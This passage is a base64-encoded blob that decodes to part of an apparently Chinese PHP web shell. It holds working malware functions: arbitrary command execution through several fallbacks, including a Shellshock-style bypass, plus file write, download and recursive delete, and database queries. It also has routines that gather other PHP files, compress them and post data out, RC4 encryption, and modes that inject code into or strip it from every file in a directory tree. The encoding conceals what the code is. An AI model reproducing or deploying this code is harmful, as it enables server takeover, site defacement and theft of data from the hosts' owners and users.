CAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgZGllKCfBrL3TTVlTUUzKp7DcLMfr1tjQwrXHwrwuPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3dlYnNpdGVfPW15c3FsaV9leGVjIj4nKTsKICAgICAgICBpZiAoISRCT09MIGFuZCBhZGRzbGFzaGVzKCRxdWVyeSkgIT0gJycpIGVjaG8gJzxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5kb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ25zcWxcJykudmFsdWUgPSBcJycgLiBhZGRzbGFzaGVzKCRxdWVyeSkgLiAnXCc7PC9zY3JpcHQ+JzsKICAgICAgICBicmVhazsKCgogICAgZGVmYXVsdDoKICAgICAgICBodG1sX21haW4oJHBhdGgsICRzaGVsbG5hbWUpOwogICAgICAgIGJyZWFrOwp9CmNzc19mb290KCk7CgpmdW5jdGlvbiBkb193cml0ZSgkZmlsZSwgJHQsICR0ZXh0KQp7CiAgICAka2V5ID0gdHJ1ZTsKICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGUsICR0KTsKICAgIGlmICghQGZ3cml0ZSgkaGFuZGxlLCAkdGV4dCkpIHsKICAgICAgICBAY2htb2QoJGZpbGUsIDA2NjYpOwogICAgICAgICRrZXkgPSBAZndyaXRlKCRoYW5kbGUsICR0ZXh0KSA/IHRydWUgOiBmYWxzZTsKICAgIH0KICAgIEBmY2xvc2UoJGhhbmRsZSk7CiAgICByZXR1cm4gJGtleTsKfQoKZnVuY3Rpb24gZG9fc2hvdygkZmlsZXBhdGgpCnsKICAgICRzaG93ID0gYXJyYXkoKTsKICAgICRkaXIgPSBkaXIoJGZpbGVwYXRoKTsKICAgIHdoaWxlICgkZmlsZSA9ICRkaXItPnJlYWQoKSkgewogICAgICAgIGlmICgkZmlsZSA9PSAnLicgb3IgJGZpbGUgPT0gJy4uJykgY29udGludWU7CiAgICAgICAgJGZpbGVzID0gc3RyX3BhdGgoJGZpbGVwYXRoIC4gJy8nIC4gJGZpbGUpOwogICAgICAgICRzaG93W10gPSAkZmlsZXM7CiAgICB9CiAgICAkZGlyLT5jbG9zZSgpOwogICAgcmV0dXJuICRzaG93Owp9CgoKZnVuY3Rpb24gZG9fZGVsdHJlZSgkZGVsZGlyKQp7CiAgICAkc2hvd2ZpbGUgPSBkb19zaG93KCRkZWxkaXIpOwogICAgZm9yZWFjaCAoJHNob3dmaWxlIGFzICRkZWwpIHsKICAgICAgICBpZiAoaXNfZGlyKCRkZWwpKSB7CiAgICAgICAgICAgIGlmICghZG9fZGVsdHJlZSgkZGVsKSkgcmV0dXJuIGZhbHNlOwogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKCRkZWwpKSB7CiAgICAgICAgICAgIEBjaG1vZCgkZGVsLCAwNzc3KTsKICAgICAgICAgICAgaWYgKCFAdW5saW5rKCRkZWwpKSByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQogICAgQGNobW9kKCRkZWxkaXIsIDA3NzcpOwogICAgaWYgKCFAcm1kaXIoJGRlbGRpcikpIHJldHVybiBmYWxzZTsKICAgIHJldHVybiB0cnVlOwp9CgpmdW5jdGlvbiBkb19zaG93c3FsKCRjb25uLCRxdWVyeSkKewogICAgJHJlc3VsdCA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KTsKICAgIGh0bWxfbignPGJyPjxicj48dGV4dGFyZWEgY29scz0iNzAiIHJvd3M9IjE1Ij4nKTsKICAgIHdoaWxlICgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IEBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsgJGkrKykgewogICAgICAgICAgICBodG1sX24oaHRtbHNwZWNpYWxjaGFycygkcm93WyRpXSkpOwogICAgICAgIH0KICAgIH0KICAgIGh0bWxfbignPC90ZXh0YXJlYT4nKTsKfQoKZnVuY3Rpb24gaG1sb2dpbigkeGlhbyA9IDEpCnsKICAgIGlmICgkeGlhbyA9PSAxKSB7CiAgICAgICAgZWNobyAiPHNjcmlwdCBzcmM9Jz9sb2dpbj1nZXR1cmwnPjwvc2NyaXB0PjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7VVJMPT8nPiI7CiAgICB9Cn0KCmZ1bmN0aW9uIGRvX2Rvd24oJGZkKQp7CiAgICBpZiAoIUBmaWxlX2V4aXN0cygkZmQpKSBtc2coJ8/C1NjOxLz+sru05tTaJyk7CiAgICAkZmlsZWluZm8gPSBwYXRoaW5mbygkZmQpOwogICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJyAuICRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOwogICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nIC4gJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZmQpKTsKICAgIEByZWFkZmlsZSgkZmQpOwogICAgZXhpdDsKfQoKZnVuY3Rpb24gZG9fZG93bmxvYWQoJGZpbGVjb2RlLCAkZmlsZSkKewogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24iKTsKICAgIGhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsKICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIgLiBzdHJsZW4oJGZpbGVjb2RlKSk7CiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiAkZmlsZSAuICI7Iik7CiAgICBlY2hvICRmaWxlY29kZTsKICAgIGV4aXQ7Cn0KCmZ1bmN0aW9uIFRlc3RVdGY4KCR0ZXh0KQp7CiAgICBpZiAoc3RybGVuKCR0ZXh0KSA8IDMpIHJldHVybiBmYWxzZTsKICAgICRsYXN0Y2ggPSAwOwogICAgJGJlZ2luID0gMDsKICAgICRCT00gPSB0cnVlOwogICAgJEJPTWNocyA9IGFycmF5KDB4RUYsIDB4QkIsIDB4QkYpOwogICAgJGdvb2QgPSAwOwogICAgJGJhZCA9IDA7CiAgICAkbm90QXNjaWkgPSAwOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR0ZXh0KTsgJGkrKykgewogICAgICAgICRjaCA9IG9yZCgkdGV4dFskaV0pOwogICAgICAgIGlmICgkYmVnaW4gPCAzKSB7CiAgICAgICAgICAgICRCT00gPSAoJEJPTWNoc1skYmVnaW5dID09ICRjaCk7CiAgICAgICAgICAgICRiZWdpbiArPSAxOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRiZWdpbiA9PSA0ICYmICRCT00pIGJyZWFrOwogICAgICAgIGlmICgkY2ggPj0gMHg4MCkgJG5vdEFzY2lpKys7CiAgICAgICAgaWYgKCgkY2ggJiAweEMwKSA9PSAweDgwKSB7CiAgICAgICAgICAgIGlmICgoJGxhc3RjaCAmIDB4QzApID09IDB4QzApIHsKICAgICAgICAgICAgICAgICRnb29kICs9IDE7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoKCRsYXN0Y2ggJiAweDgwKSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkYmFkICs9IDE7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKCgkbGFzdGNoICYgMHhDMCkgPT0gMHhDMCkgewogICAgICAgICAgICAkYmFkICs9IDE7CiAgICAgICAgfQogICAgICAgICRsYXN0Y2ggPSAkY2g7CiAgICB9CiAgICBpZiAoJGJlZ2luID09IDQgJiYgJEJPTSkgewogICAgICAgIHJldHVybiAyOwogICAgfSBlbHNlIGlmICgkbm90QXNjaWkgPT0gMCkgewogICAgICAgIHJldHVybiAxOwogICAgfSBlbHNlIGlmICgkZ29vZCA+PSAkYmFkKSB7CiAgICAgICAgcmV0dXJuIDI7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAwOwogICAgfQp9CgpmdW5jdGlvbiBGaWxlX1N0cigkc3RyaW5nKQp7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRzdHJpbmcpKTsKfQoKZnVuY3Rpb24gRmlsZV9Xcml0ZSgkZmlsZW5hbWUsICRmaWxlY29kZSwgJGZpbGVtb2RlKQp7CiAgICAka2V5ID0gdHJ1ZTsKICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lLCAkZmlsZW1vZGUpOwogICAgaWYgKCFAZndyaXRlKCRoYW5kbGUsICRmaWxlY29kZSkpIHsKICAgICAgICBAY2htb2QoJGZpbGVuYW1lLCAwNjY2KTsKICAgICAgICAka2V5ID0gQGZ3cml0ZSgkaGFuZGxlLCAkZmlsZWNvZGUpID8gdHJ1ZSA6IGZhbHNlOwogICAgfQogICAgQGZjbG9zZSgkaGFuZGxlKTsKICAgIHJldHVybiAka2V5Owp9CgpmdW5jdGlvbiBFeGVjX1J1bigkY21kKQp7CiAgICAkcmVzID0gJyc7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICBAZXhlYygkY21kLCAkcmVzKTsKICAgICAgICAkcmVzID0gam9pbigiXG4iLCAkcmVzKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewogICAgICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgQG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkY21kKTsKICAgICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBAb2Jfc3RhcnQoKTsKICAgICAgICBAcGFzc3RocnUoJGNtZCk7CiAgICAgICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjbWQsICdyJykpKSB7CiAgICAgICAgJHJlcyA9ICcnOwogICAgICAgIHdoaWxlICghQGZlb2YoJGYpKSB7CiAgICAgICAgICAgICRyZXMgLj0gQGZyZWFkKCRmLCAxMDI0KTsKICAgICAgICB9CiAgICAgICAgQHBjbG9zZSgkZik7CiAgICB9IGVsc2VpZiAoc3Vic3RyKGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSwgMCwgMSkgIT0gIi8iICYmIGNsYXNzX2V4aXN0cygnQ09NJykpIHsKICAgICAgICAkdyA9IG5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTsKICAgICAgICAkZSA9ICR3LT5leGVjKCRjbWQpOwogICAgICAgICRmID0gJGUtPlN0ZE91dCgpOwogICAgICAgICRyZXMgPSAkZi0+UmVhZEFsbCgpOwogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsKICAgICAgICAkbGVuZ3RoID0gc3RyY3NwbigkY21kLCAiIFx0Iik7CiAgICAgICAgJHRva2VuID0gc3Vic3RyKCRjbWQsIDAsICRsZW5ndGgpOwogICAgICAgIGlmIChpc3NldCgkYWxpYXNlc1skdG9rZW5dKSkgJGNtZCA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJGNtZCwgJGxlbmd0aCk7CiAgICAgICAgJHAgPSBwcm9jX29wZW4oJGNtZCwgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwgJGlvKTsKICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzFdKSkgewogICAgICAgICAgICAkcmVzIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzFdKSwgRU5UX0NPTVBBVCwgJ1VURi04Jyk7CiAgICAgICAgfQogICAgICAgIHdoaWxlICghZmVvZigkaW9bMl0pKSB7CiAgICAgICAgICAgICRyZXMgLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLCBFTlRfQ09NUEFULCAnVVRGLTgnKTsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCRpb1sxXSk7CiAgICAgICAgZmNsb3NlKCRpb1syXSk7CiAgICAgICAgcHJvY19jbG9zZSgkcCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYWlsJykpIHsKICAgICAgICBpZiAoc3Ryc3RyKHJlYWRsaW5rKCIvYmluL3NoIiksICJiYXNoIikgIT0gRkFMU0UpIHsKICAgICAgICAgICAgJHRtcCA9IHRlbXBuYW0oIi4iLCAiZGF0YSIpOwogICAgICAgICAgICBwdXRlbnYoIlBIUF9MT0w9KCkgeyB4OyB9OyAkY21kID4kdG1wIDI+JjEiKTsKICAgICAgICAgICAgbWFpbCgiYUAxMjcuMC4wLjEiLCAiIiwgIiIsICIiLCAiLWJ2Iik7CiAgICAgICAgfSBlbHNlICRyZXMgPSAiTm90IHZ1bG4gKG5vdCBiYXNoKSI7CiAgICAgICAgJG91dHB1dCA9IEBmaWxlX2dldF9jb250ZW50cygkdG1wKTsKICAgICAgICBAdW5saW5rKCR0bXApOwogICAgICAgIGlmICgkb3V0cHV0ICE9ICIiKSAkcmVzID0gJG91dHB1dDsgZWxzZSAkcmVzID0gIk5vIG91dHB1dCwgb3Igbm90IHZ1bG4uIjsKICAgIH0KICAgIHJldHVybiAkcmVzOwp9CgpmdW5jdGlvbiBGaWxlX01vZGUoKQp7CiAgICAkUmVhbFBhdGggPSByZWFscGF0aCgnLi8nKTsKICAgICRTZWxmUGF0aCA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwogICAgJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsICcvJykpOwogICAgcmV0dXJuIEZpbGVfU3RyKHN1YnN0cigkUmVhbFBhdGgsIDAsIHN0cmxlbigkUmVhbFBhdGgpIC0gc3RybGVuKCRTZWxmUGF0aCkpKTsKfQoKZnVuY3Rpb24gR2V0RmlsZU93bmVyKCRGaWxlKQp7CiAgICBpZiAoUEFUSF9TRVBBUkFUT1IgPT0gJzonKSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewogICAgICAgICAgICAkRmlsZSA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkRmlsZSkpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJEZpbGVbJ25hbWUnXTsKICAgIH0KfQoKZnVuY3Rpb24gR2V0RmlsZUdyb3VwKCRGaWxlKQp7CiAgICBpZiAoUEFUSF9TRVBBUkFUT1IgPT0gJzonKSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgewogICAgICAgICAgICAkRmlsZSA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkRmlsZSkpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJEZpbGVbJ25hbWUnXTsKICAgIH0KfQoKZnVuY3Rpb24gRmlsZV9TaXplKCRzaXplKQp7CiAgICAka2IgPSAxMDI0OwogICAgJG1iID0gMTAyNCAqICRrYjsKICAgICRnYiA9IDEwMjQgKiAkbWI7CiAgICAkdGIgPSAxMDI0ICogJGdiOwogICAgaWYgKCRzaXplIDwgJGtiKSB7CiAgICAgICAgcmV0dXJuICRzaXplIC4gIiBCIjsKICAgIH0gZWxzZSBpZiAoJHNpemUgPCAkbWIpIHsKICAgICAgICByZXR1cm4gcm91bmQoJHNpemUgLyAka2IsIDIpIC4gIiBLIjsKICAgIH0gZWxzZSBpZiAoJHNpemUgPCAkZ2IpIHsKICAgICAgICByZXR1cm4gcm91bmQoJHNpemUgLyAkbWIsIDIpIC4gIiBNIjsKICAgIH0gZWxzZSBpZiAoJHNpemUgPCAkdGIpIHsKICAgICAgICByZXR1cm4gcm91bmQoJHNpemUgLyAkZ2IsIDIpIC4gIiBHIjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplIC8gJHRiLCAyKSAuICIgVCI7CiAgICB9Cn0KCmZ1bmN0aW9uIEZpbGVfUmVhZCgkZmlsZW5hbWUpCnsKICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lLCAicmIiKTsKICAgICRmaWxlY29kZSA9IEBmcmVhZCgkaGFuZGxlLCBAZmlsZXNpemUoJGZpbGVuYW1lKSk7CiAgICBAZmNsb3NlKCRoYW5kbGUpOwogICAgcmV0dXJuICRmaWxlY29kZTsKfQoKZnVuY3Rpb24gZ2V0UmVhbElwKCl7CiAgICAkaXA9RkFMU0U7CiAgICBpZighZW1wdHkoJF9TRVJWRVJbIkhUVFBfQ0xJRU5UX0lQIl0pKXsKICAgICAgICAkaXAgPSAkX1NFUlZFUlsiSFRUUF9DTElFTlRfSVAiXTsKICAgIH0KICAgIGlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7CiAgICAgICAgJGlwcyA9IGV4cGxvZGUgKCIsICIsICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKTsKICAgICAgICBpZiAoJGlwKSB7IGFycmF5X3Vuc2hpZnQoJGlwcywgJGlwKTsgJGlwID0gRkFMU0U7IH0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkaXBzKTsgJGkrKykgewogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2ggKCIvXigxMKmmMTcyLjE2qaYxOTIuMTY4KS4vaSIsICRpcHNbJGldKSkgewogICAgICAgICAgICAgICAgJGlwID0gJGlwc1skaV07CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAoJGlwID8gJGlwIDogJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pOwp9CgpmdW5jdGlvbiBmaWxlRGV0ZWN0KCl7CiAgICAkbWVzc2FnZSA9ICIiOwogICAgJHBhdGggPSByZWFscGF0aCgiLiIpOwogICAgJG9iamVjdHMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHBhdGgpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsKICAgIGZvcmVhY2goJG9iamVjdHMgYXMgJG5hbWUgPT4gJG9iamVjdCl7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9cLnBocC9pIiwkbmFtZSkgJiYgZmlsZXNpemUoJG5hbWUpLzEwMjQgPD0gNTAwKXsKICAgICAgICAgICAgJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkbmFtZSk7CiAgICAgICAgICAgICR0bXAgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRhdGEpOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiLyhldmFsXCgpfChjcmVhdGVfZnVuY3Rpb25cKCl8KGJhc2U2NF9kZWNvZGVcKCkvaSIsJHRtcCkpCiAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkbmFtZS4iXG4iLiAkZGF0YSAuIlxuXG4iOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29tcHJlc3MoJG1lc3NhZ2UpKTsKfQoKZnVuY3Rpb24gc2VuZFBvc3QoJHVybCwgJHBvc3RfZGF0YSkgewogICAgJHBvc3RkYXRhID0gaHR0cF9idWlsZF9xdWVyeSgkcG9zdF9kYXRhKTsKICAgICRvcHRpb25zID0gYXJyYXkoCiAgICAgICAgJ2h0dHAnID0+IGFycmF5KAogICAgICAgICAgICAnbWV0aG9kJyA9PiAnUE9TVCcsCiAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywKICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRwb3N0ZGF0YSwKICAgICAgICAgICAgJ3RpbWVvdXQnID0+IDUKICAgICAgICApCiAgICApOwogICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdGlvbnMpOwogICAgJHJlc3VsdCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gcmM0RW5jcnlwdCgkcHdkLCAkZGF0YSkKewogICAgJGNpcGhlciAgICAgID0gJyc7CiAgICAka2V5W10gICAgICAgPSAiIjsKICAgICRib3hbXSAgICAgICA9ICIiOwogICAgJHB3ZF9sZW5ndGggID0gc3RybGVuKCRwd2QpOwogICAgJGRhdGFfbGVuZ3RoID0gc3RybGVuKCRkYXRhKTsKICAgIGZvciAoJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgewogICAgICAgICRrZXlbJGldID0gb3JkKCRwd2RbJGkgJSAkcHdkX2xlbmd0aF0pOwogICAgICAgICRib3hbJGldID0gJGk7CiAgICB9CiAgICBmb3IgKCRqID0gJGkgPSAwOyAkaSA8IDI1NjsgJGkrKykgewogICAgICAgICRqICAgICAgID0gKCRqICsgJGJveFskaV0gKyAka2V5WyRpXSkgJSAyNTY7CiAgICAgICAgJHRtcCAgICAgPSAkYm94WyRpXTsKICAgICAgICAkYm94WyRpXSA9ICRib3hbJGpdOwogICAgICAgICRib3hbJGpdID0gJHRtcDsKICAgIH0KICAgIGZvciAoJGEgPSAkaiA9ICRpID0gMDsgJGkgPCAkZGF0YV9sZW5ndGg7ICRpKyspIHsKICAgICAgICAkYSAgICAgICA9ICgkYSArIDEpICUgMjU2OwogICAgICAgICRqICAgICAgID0gKCRqICsgJGJveFskYV0pICUgMjU2OwogICAgICAgICR0bXAgICAgID0gJGJveFskYV07CiAgICAgICAgJGJveFskYV0gPSAkYm94WyRqXTsKICAgICAgICAkYm94WyRqXSA9ICR0bXA7CiAgICAgICAgJGsgICAgICAgPSAkYm94WygoJGJveFskYV0gKyAkYm94WyRqXSkgJSAyNTYpXTsKICAgICAgICAkY2lwaGVyIC49IGNocihvcmQoJGRhdGFbJGldKSBeICRrKTsKICAgIH0KICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRjaXBoZXIpOwp9CgoKZnVuY3Rpb24gYXJyYXlfaWNvbnYoJGRhdGEsICRvdXRwdXQgPSAndXRmLTgnKQp7CiAgICAkZW5jb2RlX2FyciA9IGFycmF5KCdVVEYtOCcsICdBU0NJSScsICdHQksnLCAnR0IyMzEyJywgJ0JJRzUnLCAnSklTJywgJ2V1Y2pwLXdpbicsICdzamlzLXdpbicsICdFVUMtSlAnKTsKICAgICRlbmNvZGVkID0gbWJfZGV0ZWN0X2VuY29kaW5nKCRkYXRhLCAkZW5jb2RlX2Fycik7CgogICAgaWYgKCFpc19hcnJheSgkZGF0YSkpIHsKICAgICAgICByZXR1cm4gbWJfY29udmVydF9lbmNvZGluZygkZGF0YSwgJG91dHB1dCwgJGVuY29kZWQpOwogICAgfSBlbHNlIHsKICAgICAgICBmb3JlYWNoICgkZGF0YSBhcyAka2V5ID0+ICR2YWwpIHsKICAgICAgICAgICAgJGtleSA9IGFycmF5X2ljb252KCRrZXksICRvdXRwdXQpOwogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJHZhbCkpIHsKICAgICAgICAgICAgICAgICRkYXRhWyRrZXldID0gYXJyYXlfaWNvbnYoJHZhbCwgJG91dHB1dCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZGF0YVska2V5XSA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRhdGEsICRvdXRwdXQsICRlbmNvZGVkKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRhdGE7CiAgICB9Cn0KCmZ1bmN0aW9uIEluZm9fQ2ZnKCR2YXJuYW1lKQp7CiAgICBzd2l0Y2ggKCRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSkpIHsKICAgICAgICBjYXNlIDA6CiAgICAgICAgICAgIHJldHVybiAiTm8iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgIHJldHVybiAiWWVzIjsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQp9CgpmdW5jdGlvbiBJbmZvX0Z1bigkZnVuTmFtZSkKewogICAgcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAiWWVzIiA6ICJObyI7Cn0KCgpmdW5jdGlvbiBkb19wYXNzcmV0dXJuKCRkaXIsICRjb2RlLCAkdHlwZSwgJGJvb2wsICRmaWxldHlwZSA9ICcnLCAkc2hlbGwgPSBteV9zaGVsbCkKewogICAgJHNob3cgPSBkb19zaG93KCRkaXIpOwogICAgZm9yZWFjaCAoJHNob3cgYXMgJGZpbGVzKSB7CiAgICAgICAgaWYgKGlzX2RpcigkZmlsZXMpICYmICRib29sKSB7CiAgICAgICAgICAgIGRvX3Bhc3NyZXR1cm4oJGZpbGVzLCAkY29kZSwgJHR5cGUsICRib29sLCAkZmlsZXR5cGUsICRzaGVsbCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCRmaWxlcyA9PSAkc2hlbGwpIGNvbnRpbnVlOwogICAgICAgICAgICBzd2l0Y2ggKCR0eXBlKSB7CiAgICAgICAgICAgICAgICBjYXNlICJndWFtYSI6CiAgICAgICAgICAgICAgICAgICAgaWYgKGRlYnVnKCRmaWxlcywgJGZpbGV0eXBlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBkb193cml0ZSgkZmlsZXMsICJhYiIsICJcbiIgLiAkY29kZSkgPyBodG1sX24oIrPJuaYtLT4gJGZpbGVzPGJyPiIpIDogaHRtbF9uKCLKp7DcLS0+ICRmaWxlczxicj4iKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJxaW5nbWEiOgogICAgICAgICAgICAgICAgICAgICRmaWxlY29kZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgIGlmIChzdHJpc3RyKCRmaWxlY29kZSwgJGNvZGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRuZXdjb2RlID0gc3RyX3JlcGxhY2UoJGNvZGUsICcnLCAkZmlsZWNvZGUpOwogICAgICAgICAgICAgICAgICAgICAgICBkb193cml0ZSgkZmlsZXMsICJ3YiIsICRuZXdjb2RlKSA/IGh0bWxfbigis8m5pi0tPiAkZmlsZXM8YnI+IikgOiBodG1sX24oIsqnsNwtLT4gJGZpbGVzPGJyPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInRpaHVhbiI6CiAgICAgICAgICAgICAgICAgICAgJGZpbGVjb2RlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmlzdHIoJGZpbGVjb2RlLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG5ld2NvZGUgPSBzdHJfcmVwbGFjZSgkY29kZSwgJGZpbGV0eXBlLCAkZmlsZWNvZGUpOwogICAgICAgICAgICAgICAgICAgICAgICBkb193cml0ZSgkZmlsZXMsICJ3YiIsICRuZXdjb2RlKSA/IGh0bWxfbigis8m5pi0tPiAkZmlsZXM8YnI+IikgOiBodG1sX24oIsqnsNwtLT4gJGZpbGVzPGJyPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInNjYW5maWxlIjoKICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IGV4cGxvZGUoJy8nLCAkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgIGlmIChzdHJpc3RyKCRmaWxlW2NvdW50KCRmaWxlKSAtIDFdLCAkY29kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89ZWRpdHImcD0kZmlsZXMiLCAkZmlsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAg